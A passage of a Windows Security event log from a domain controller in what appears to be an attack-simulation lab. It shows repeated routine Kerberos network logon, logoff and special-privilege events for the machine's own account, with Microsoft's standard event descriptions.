			SeEnableDelegationPrivilege
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248521
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8885

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248520
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8885
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63944

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248519
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8885

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248542
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8B3E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248541
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8B3E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63951

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248540
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8B3E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248539
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8ADD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248538
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8ADD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63950

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248537
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8ADD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248536
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8A77

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248535
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8A77
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63949

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248534
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8A77

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248533
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8A16

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248532
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8A16
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63948

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248531
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8A16

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248554
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8D26

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248553
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8D26
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63955

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248552
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8D26

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248551
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8CC5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248550
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8CC5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63954

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248549
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8CC5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248548
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8C5F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248547
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8C5F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63953

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248546
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8C5F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248545
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8BFE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248544
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8BFE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63952

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248543
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8BFE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248566
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8EB7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248565
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
